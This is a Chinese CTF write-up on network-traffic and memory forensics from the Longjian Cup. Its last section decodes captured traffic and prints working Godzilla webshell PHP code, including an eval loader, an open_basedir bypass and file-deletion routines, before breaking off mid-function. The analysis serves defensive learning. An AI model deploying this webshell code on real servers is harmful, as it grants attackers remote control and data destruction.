奇安信攻防社区-分析流量入门篇

分析流量入门篇

#写在前面最近参加了首届陇剑杯，和往常的CTF不太一样，题目基本都是流量分析类型的，我也是第一次接触这方面，还挺有意思的。写的不好的地方请各位师傅多多指正~这里要感谢共同参与比赛的几...

写在前面
====

最近参加了首届陇剑杯，和往常的CTF不太一样，题目基本都是流量分析类型的，我也是第一次接触这方面，还挺有意思的。写的不好的地方请各位师傅多多指正~这里要感谢共同参与比赛的几位师傅。

1.签到
====

签到题是其中最简单的分析流量了。  
Wireshark打开附件Good.pcapng：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-0a06f1cdbec736d751f87a11685ea10422026e23.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-0a06f1cdbec736d751f87a11685ea10422026e23.png)

可以看到可能遭受ARP攻击，所以flag是arp。

2.JWT
=====

这里先来讲一下什么是JWT。  
JWT即JSON Web Token。JWT 的原理是，服务器认证以后，生成一个 JSON 对象，发回给用户，以后，用户与服务端通信的时候，都要发回这个JSON对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据，服务器在生成这个对象的时候，会加上签名，服务器就不保存任何session数据了，也就是说，服务器变成无状态了，从而比较容易实现扩展。

那么这里既然涉及到Token，那么题目应该就会从Token值这里来下手了。那么2.2就出现了：  
用Wireshark打开附件goroot.pcap：

先在`/identity`下找到了username为admin：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-80d08d524ef2c5d312731ebc346c2de18217441f.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-80d08d524ef2c5d312731ebc346c2de18217441f.png)

然后在对应的cookie里找到了Token值：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-7529dec329d7adfbb3f90f73446d21b384ee0aaf.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-7529dec329d7adfbb3f90f73446d21b384ee0aaf.png)

将Token值用base64解码之后便可得到id值为10087了。故flag为10087#admin

2.3是寻找黑客获取webshell后的权限，那么首先就是来找`whoami`：  
在过滤器里搜索`http matches "(.*?)whoami"`  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-fbcc3645d9d3e9923163467c8240f54eeefacb08.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-fbcc3645d9d3e9923163467c8240f54eeefacb08.png)

右键点击追踪流，追踪http流：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b75d4934e87df4786455bfa09933cd211bd0a586.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b75d4934e87df4786455bfa09933cd211bd0a586.png)

然后在追踪该响应包的http流，找到了root权限  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8037a9a8415bd7d702504cbda7d48b948df1a03d.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8037a9a8415bd7d702504cbda7d48b948df1a03d.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6c72f27cb4ae3d1244edc5892769b1faca8f84cc.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6c72f27cb4ae3d1244edc5892769b1faca8f84cc.png)

这里额外补充其中ios中的查找黑客利用的Github开源项目的名字：  
在过滤器里搜索`http matches "(.*?)git"`(或者github也可)  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-f41a20f53e8c631d753a6abe65a40d5e21cffd3f.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-f41a20f53e8c631d753a6abe65a40d5e21cffd3f.png)

可以看到黑客直接在本地用`wget`命令来获取GitHub上的项目，项目名称为Stowaway，这里我们也可以直接复制粘贴访问该项目查看下：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6c807adba1846970674e3734998c8d093e5d9172.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-6c807adba1846970674e3734998c8d093e5d9172.png)

故flag为stowaway。

2.4是寻找黑客上传的恶意文件名字。那么Wireshark打开附件，要查找上传点的文件一般过滤只看post:  
`http.request.method=="POST"`  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-213ef8ff896b2b7a8293399563f536f60582f2d4.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-213ef8ff896b2b7a8293399563f536f60582f2d4.png)

这里发现一段base64，发现需要分段解出得到一段c语言程序：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-abdbd996c532f05a1ec71afcbe2a4e842d205c5f.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-abdbd996c532f05a1ec71afcbe2a4e842d205c5f.png)

继续往下找  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-ad7fe50124d6f1ccb10bc8917f0cba81f5f80f28.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-ad7fe50124d6f1ccb10bc8917f0cba81f5f80f28.png)

发现`1.c`文件，但不确定继续往下看  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-4d82451939aff9fb28ef1b228acb59ddc4f9effb.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-4d82451939aff9fb28ef1b228acb59ddc4f9effb.png)

这里把1.c文件重命名为了looter.c文件，应该可以确定上传的文件就是1.c了

2.5查找黑客在服务器上编译的恶意so文件名字，这个很简单，有两种解决方法：  
一种就直接用Wireshark全局搜索.so即可定位文件名为：looter.so：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-578f8a9620c5fdc22b723d72e282b3aaa03cb839.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-578f8a9620c5fdc22b723d72e282b3aaa03cb839.png)

另外一种方法是直接用记事本打开并搜索`.so`，即可得到想要的答案了：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c1736452dd7be5e08cbf7fc95e1ae436e8d37ffd.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c1736452dd7be5e08cbf7fc95e1ae436e8d37ffd.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-92a5de8ab8eea537ca9292fa28caa48c3cf27937.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-92a5de8ab8eea537ca9292fa28caa48c3cf27937.png)

故flag答案为`looter.so`

3.webshell
==========

3.1需要查找黑客登陆系统使用的密码，这里稍微信息收集下收集到用的是`php`后缀，那么就直接在过滤器里搜索`http.request.method =="POST" && http contains "php"`，点击第一个，查看到密码：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-eebbc4921b7800e97e0af09ba2ccf76ceb2295cf.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-eebbc4921b7800e97e0af09ba2ccf76ceb2295cf.png)

3.2是查找黑客修改的一个日志文件的绝对路径，那么同理还是在过滤器里搜索`http.request.method =="POST" && http contains "php"`，点击找到log文件`data/Runtime/Logs/Home/21_08_07.log`：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8ea673c11075ae2bcd5a51d9a490ac0cbd6f044e.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-8ea673c11075ae2bcd5a51d9a490ac0cbd6f044e.png)

可是这里只是一个相对路径，在响应包中找到对应的`/var/www/html`，拼接一下即为绝对路径flag：  
`/var/www/html/data/Runtime/Logs/Home/21_08_07.log`  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-21b81eae959acb5ea7d6e2cf67317bc5d3544a09.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-21b81eae959acb5ea7d6e2cf67317bc5d3544a09.png)

3.3同2.3一样是寻找黑客获取webshell后的权限，这里用另外一种方法来查找：  
在过滤器里搜索`http.request.method =="POST" && http contains "php"`，找到whoami：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-309e2f2e3e4e397b526445dff179dc9ae1b66888.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-309e2f2e3e4e397b526445dff179dc9ae1b66888.png)

右键点击追踪流，追踪http流  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-be974e43e87077b1e98965e776855ed7a685adf3.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-be974e43e87077b1e98965e776855ed7a685adf3.png)

找到对应的响应包  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-87f9f05c91fb57826d672c8fc537026b35e77de2.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-87f9f05c91fb57826d672c8fc537026b35e77de2.png)

右键追踪http流，在其中找到权限  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c6b81fd8382860ef8911240ff7cd0ab6a19a5856.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c6b81fd8382860ef8911240ff7cd0ab6a19a5856.png)

3.4则是查找黑客写入的webshell文件名称，那么用wireshark打开附件hack.pcap：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-a84eb5190a82b1ff5287061f71b117ae90340492.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-a84eb5190a82b1ff5287061f71b117ae90340492.png)

直接看到webshell为1.php。  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-e2edb8473cc2929705b3c4bc6e589202b226fed9.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-e2edb8473cc2929705b3c4bc6e589202b226fed9.png)

3.5是寻找黑客上传的代理工具客户端名字。这个直接定位到最后一个响应包，右键点击追踪流，追踪http流：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b2c1bfd451ee86d036f43339f57fc2a5b5d3c5cd.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-b2c1bfd451ee86d036f43339f57fc2a5b5d3c5cd.png)

在里面找到了frpc和frpc.ini，所以flag就是frpc。这个是啥应该不用多说了。

4.日志分析与简单日志分析
=============

在日志分析中，开局直接打开txt文件，`ctrl+F`查找200，便找到了`www.zip`，这个即为网络存在源码泄漏所泄露的源码文件名，即flag：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c37b2b0a3f4e1d53578cf7a8059a1fa42a234b6c.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c37b2b0a3f4e1d53578cf7a8059a1fa42a234b6c.png)

然后来了一个查找黑客往/tmp目录写入的一个文件名称，那么直接`ctrl+F`查找200，一直往下翻到一个200的`file`参数，其等于`sess_car`，那么flag就是`sess_car`了：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-d138ba4852d5cf726949179f3f41283f79183276.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-d138ba4852d5cf726949179f3f41283f79183276.png)

最后让我分析攻击流量，分析黑客使用的是什么类来读取了秘密文件。这里找到了一个似乎是用python写的脚本请求：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3d15526685bbe1e08b6c234492e89fc7dd9ef10b.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3d15526685bbe1e08b6c234492e89fc7dd9ef10b.png)

将filename后面这一串放到url编码中解码，可以看到这里是用的php反序列化来读取秘密文件，类为`SplFileObject`，故flag就是`SplFileObject`  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-741961190e9b2d50ba2c3d8261de0872ce934334.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-741961190e9b2d50ba2c3d8261de0872ce934334.png)

在简单日志分析中，确实也是比较简单。用记事本打开日志文件：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-32a6cf9cf44839948b8bd88b328215bd11fee423.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-32a6cf9cf44839948b8bd88b328215bd11fee423.png)

即可查看到黑客攻击的参数为user，这个就是flag了。

然后是需要黑客查看的秘密文件的绝对路径。这里找到第二段base64编码数据解开：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-f36f0327ebec425d1511f2d39611ab872db0f4a8.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-f36f0327ebec425d1511f2d39611ab872db0f4a8.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c00e959220b0657443f8d53e48233a0745fb27fa.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c00e959220b0657443f8d53e48233a0745fb27fa.png)

得到绝对路径：`/Th4s_IS_VERY_Import_Fi1e`

最后是寻找黑客反弹shell的ip和端口。这里找到最后一段base64解密：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2d5784881ab71cd906d1ae357d4b5c0aac0df87e.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-2d5784881ab71cd906d1ae357d4b5c0aac0df87e.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c449ac461bb63e32c0b99a8455b673460da33b9e.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c449ac461bb63e32c0b99a8455b673460da33b9e.png)

或者也可以用burpsuite先url解码，再base64解码可得flag答案：`192.168.2.197:8888`  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-521df497464a413bf6326701e3c604c08f295b52.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-521df497464a413bf6326701e3c604c08f295b52.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3606d041ac92f31529831945530b3faec5bd6f35.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3606d041ac92f31529831945530b3faec5bd6f35.png)

5.SQL注入
=======

记事本打开日志文件直接翻到文件后面  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3d90d055bb4f32783e87eac6aa1616e6c8a16bc4.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-3d90d055bb4f32783e87eac6aa1616e6c8a16bc4.png)

这句是查询字段flag从sqli数据库中的flag表，所以flag答案为：`sqli#flag#flag`

6.端口扫描
======

这里讲其中一个查找黑客端口扫描的扫描器的扫描范围。  
首先打开统计—端点：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-7f756311e8db3c8f4fad3891a2cda012ff277db6.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-7f756311e8db3c8f4fad3891a2cda012ff277db6.png)

按照portB排序，一般而言，端口扫描都是连续性有规则的端口，从这里我们能看到起始端口是10：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-daf92673c65600e2ea09145a01d88dc581a5caca.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-daf92673c65600e2ea09145a01d88dc581a5caca.png)

拉到最底下我们统计出末尾端口为449：  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-681c67503f64df1808f767a6cfbaf6686107b1e7.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-681c67503f64df1808f767a6cfbaf6686107b1e7.png)

那么最终答案便是10-499

7.wifi
======

描述
--

网管小王最近喜欢上了ctf网络安全竞赛，他使用“哥斯拉”木马来玩玩upload-labs，并且保存了内存镜像、wifi流量和服务器流量。小王往upload-labs上传木马后进行了`cat /flag`，flag内容究竟是啥呢？（压缩包里有解压密码的提示，需要额外添加花括号）

题解
--

想要解出这一题需要使用到`Volatility`这个开源的取证框架，这个框架能够对导出的内存镜像镜像分析，能过通过获取内核的数据结构，使用插件获取内存的详细情况和运行状态，同时可以直接dump系统文件，屏幕截图，查看进程等等。

首先内存镜像分析，先看看imageinfo探测系统类型

```php
volatility -f Windows\ 7-dde00fa9.vmem imageinfo
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-ebc394db313d5f1eb0a80fe89e8dfc6d55068a72.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-ebc394db313d5f1eb0a80fe89e8dfc6d55068a72.png)

cmdscan查看最近命令，这个命令为导出wifi的密码

```php
volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 cmdscan
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-f2f05aa91a8f42066979a6166e1c6e372db4b7bb.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-f2f05aa91a8f42066979a6166e1c6e372db4b7bb.png)

filescan查看该文件夹里的东西，发现My\_Wifi.zip

```php
volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Program Files"
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-1d41e3993c7ef308b17eeb4561205eab86da2123.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-1d41e3993c7ef308b17eeb4561205eab86da2123.png)

打开zip发现hint`password is Network Adapter GUID`，需要网卡的GUID，GUID在Windows的`C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\`文件夹内

```php
volatility -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Interfaces"
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-266d85196e7a66a12d93d800de2ea61e06295810.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-266d85196e7a66a12d93d800de2ea61e06295810.png)

为`{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}`,解压后wifi信息为：

```php
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>My_Wifi</name>
    <SSIDConfig>
        <SSID>
            <hex>4D795F57696669</hex>
            <name>My_Wifi</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>233@114514_qwe</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>
```

发现密码为`233@114514_qwe`，有了这个Wifi密码我们可以解密客户端的cap流量包

```php
airdecap-ng -e My_Wifi -p 233@114514_qwe 客户端.cap
```

然后分析后找到  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c7bd6f23c1e4a054b82a844424aa73de87fd984a.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-c7bd6f23c1e4a054b82a844424aa73de87fd984a.png)

有一些这种密文，这时候我们再通过服务器那边的流量  
[![](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-e6ebf6e1b0de5b6db3df3bf341964a6e6d120ce0.png)](https://shs3.b.qianxin.com/attack_forum/2021/09/attach-e6ebf6e1b0de5b6db3df3bf341964a6e6d120ce0.png)

我们可以发现其是两两对应的，我们先拿服务器的流量解密一下

第一层是url解码（太多就不全放出来了）

```php
pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1Z
```

然后是

和

```php
key=R0YEQgNVBE0GQ0YPU0YTUhoeTAtvMkVmMHRmD1NGE1IaHkwLbzIHTA1SQVtdWkFBFlhNFBJVEhAYPD8SEhRBQQZyAFYxQRJNBlxzR1xXSRpYO28QQhhBHTxicGEPEgZWF2UAQxFRDldLGA4/OBRBE0N2FlURSwhWDW5GRlNGFRtKDWg6QhhBGUdCUEFBXQ56BwsIVFcQElwQQlxdXGsIV0sfTAtvMkEZQxFcVBIcCEAQUxEYRmcyfDBi省略
```

组成，第一段的是一段倒叙base64，解密后得到

```php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

```

然后我们可以看到第二段的加密形式是一个xor，稍微写一下解密脚本：

```php
import base64
import os

def decode(D,K):
    D = list(D)
    for i in range(len(D)):
        c = K[i+1&15]
        D[i] = D[i]^c
    return bytes(D)

_pass = 'pass'
key = '3c6e0b8a9c15224a'
p='R0YEQgNVBE0GQ0YPU0YTUhoeTAtvMkVmMHRmD1NGE1IaHkwLbzIHTA1SQVtdWkFBFlhNFBJVEhAYPD8SEhRBQQZyAFYxQRJNBlxzR1xXSRpYO28QQhhBHTxicGEPEgZWF2UAQxFRDldLGA4/OBRBE0N2FlURSwhWDW5GRlNGFRtKDWg6QhhBGUdCUEFBXQ56BwsIVFcQElwQQlxdXGsIV0sfTAtvMkEZQxFcVBIcCEAQUxEYRmcyfDBifH18b0VABkUWWQ1xBWRKGE4/OBRBE0MWRRBCHD5qJmIIR1xHBEEKVwlZGF1JETAAeFtFbThBS1QEQwcOVX0GUlpWVxxFbDBzNmMrdy9iR0JQQUFdDnoHa0kUEV0SSgpefFYbGEVABkUWWQ1xBRBKGA4/OBRBE0NLaDpCGEEZI0JQQUFdDl08QRdZFl0+Wg9eRlcaHVo+aTtvEEIYQVAFER1RU1oiUg9aIkoLSCVcAF5RVxodXA5SEENwC0smQwpBZkZAUQBeSxIVXRERSEJuOxUSEhRBE0MWQUAPS1xeGVVQUV1QBBtHRghDSwNsM0MRFRJPOWsTQxZFVg1KDFgXYVRAU1kERwZETRQSVRIQWDw/PzgUQRNDXwMQSlESSgZFHRZtZyRgOBQHSRJZEko8XkVXXGsDUhBTAVkQGjwQRRcRbWFxMmhBVBxAA0sSZgxBUFxtVgBABlIMQkBlXAQXQ0BXG09sOUMWRRBCGEEZI1NMQlNHEmwMRgBePVoASgZVXEAaHVo+aRZFEEJFbDNuOxUSEhRFQQZFEFwWBQRPAl1zR1xXSRpYO289aBhBGUNYUxIaED5gJmVEDV9WFFUPGE4/OBRBE0MWRRBCSwRKEFhaXG1HFVIRQk0ZWTVrGUMRFRISFEEXPGUgYzFxLnc4FUZXQUcIXCpSOA0AWRJcVQVqV1xXDlcGHjYBL1EWYDpDHUFXRghSD18fVUocPmomYhweFkcEQBBfCnkGEUgCbjsVEhIUQRNDFiVDB0sSUAxfakVAXRVWPFUJXxFdSRBYPD8SEhRBTm48aDpCGEEZClcVGlFVD3ACWgl3GFERfA1SWlZXHEgaGDtvEEIYQRlDERUWQFESRg9CWFcYXQ9aDFVQGhZGBEAWWhEcVBFaNGkRFRISSWw5bjxFEEIYE1wXREdcEhATVhBDCURZNWtEbjtTR1xXFVoMWEVjU3UITjpoRxoWcE0XKB8ePWgYQRlDV1pAGhAIDlMNQVleSxVLD1RbGhZwSAhHX04bSxgaNGkRFRISFEETQxIha0ZRPBleERF2aRAIbj0SLmtKHAgSUhgQAwdpWj5pFkUQQkVsM0MRFRJAURVGEVhFFCYDbDMePD9UR1oCRwpZCxAQXSVcBWJMQUZRDHUWWAYYS0NsM0MRFRJbUkEbQlAQXgFMCFYNblBKW0cVQEsUA1kOXT5eBkVqUV1aFVYNQhYSSxFBQm47FRISFEETQxYDRQxbFVAMXxVUW1gEbARTEW8BVw9NBl9BQRoQB1oPU0wQGTVrGUMRFRISFEETQxZFFAQYXBkjV1pCV1pJFwVfCVVOGhNbQRgOPzgUQRNDFkUQQhhBGUMVVl1cQARdF0VFDUJeAFUQVA4/OBRBE0MWRRBCGEEZQ1hTEhoQBxpDTWg6QhhBGUMRFRISFEETQxZFEAZXQUJDFVZdXEAEXRdFRR5fGAdeBkVGGhZSSAhDS0VHClENXEMZFFRXWwcbR1BMGVk1axlDERUSEhRBE0MWRU1vMkEZQxEVEhIUQRNDFgNTDlcSXEsVUxsJOWsTQxZFEEIYQRlDERVAV0AUQQ0WQVMNVhVcDUVGCT8+QRNDFkUQQhgcNGkRFRISSWw5QxZFEAteQRFCV0BcUUAIXA1pAEgLSx'

p1 = base64.b64decode(p)
res = decode(p1,key.encode())
f = open('res.php','wb')
f.write(res)
f.close()
```

得到res.php

```php
$parameters=array();
$_SES=array();
function run($pms){
    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

$result=evalFunc();

if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }

if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

return $result;
}
function S1MiwYYr($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[($i+1)%15];
    }
    return $D;
}
function reDefSystemFunc(){
    if (!function_exists("file_get_contents")) {
        function file_get_contents($file) {
            $f = @fopen($file,"rb");
            $contents = false;
            if ($f) {
                do { $contents .= fgets($f); } while (!feof($f));
            }
            fclose($f);
            return $contents;
        }
    }
    if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
        function gzdecode($data)
        {
            return gzinflate(substr($data,10,-8));
        }
    }
}
function &getSession(){
    global $_SES;
    return $_SES;
}
function bypass_open_basedir(){
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    $allFiles = @scandir($_FILENAME);
    $cdStatus=false;
    if ($allFiles!=null){
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                if (@is_dir($fileName)){
                    if (@chdir($fileName)===true){
                        $cdStatus=true;
                        break;
                    }
                }
            }

}
    }
    if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
        @mkdir('bypass_open_basedir');
    }
    if (!$cdStatus){
        @chdir('bypass_open_basedir');
    }
    @ini_set('open_basedir','..');
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    @$_path = str_replace("\\",'/',$_FILENAME);
    @$_num = substr_count($_path,'/') + 1;
    $_i = 0;
    while($_i < $_num){
        @chdir('..');
        $_i++;
    }
    @ini_set('open_basedir','/');
    if (!$cdStatus){
        @rmdir($_FILENAME.'/'.'bypass_open_basedir');
    }
}
function formatParameter($pms){
    global $parameters;
    $index=0;
    $key=null;
    while (true){
        $q=$pms[$index];
        if (ord($q)==0x02){
            $len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
            $index+=4;
            $value=substr($pms,$index+1,$len);
            $index+=$len;
            $parameters[$key]=$value;
            $key=null;
        }else{
            $key.=$q;
        }
        $index++;
        if ($index>strlen($pms)-1){
            break;
        }
    }
}
function evalFunc(){
    try{
        @session_write_close();
        $className=get("codeName");
        $methodName=get("methodName");
        $_SES=&getSession();
        if ($methodName!=null){
            if (strlen(trim($className))>0){
                if ($methodName=="includeCode"){
                    return includeCode();
                }else{
                    if (isset($_SES[$className])){
                        return eval($_SES[$className]);
                    }else{
                        return "{$className} no load";
                    }
                }
            }else{
                if (function_exists($methodName)){
                    return $methodName();
                }else{
                    return "function {$methodName} not exist";
                }
            }
        }else{
            return "methodName Is Null";
        }
    }catch (Exception $e){
        return "ERROR://".$e -> getMessage();
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function setFileAttr(){
    $type = get("type");
    $attr = get("attr");
    $fileName = get("fileName");
    $ret = "Null";
    if ($type!=null&&$attr!=null&&$fileName!=null) {
        if ($type=="fileBasicAttr"){
            if (@chmod($fileName,convertFilePermissions($attr))){
                return "ok";
            }else{
                return "fail";
            }
        }else if ($type=="fileTimeAttr"){
            if (@touch($fileName,$attr)){
                return "ok";
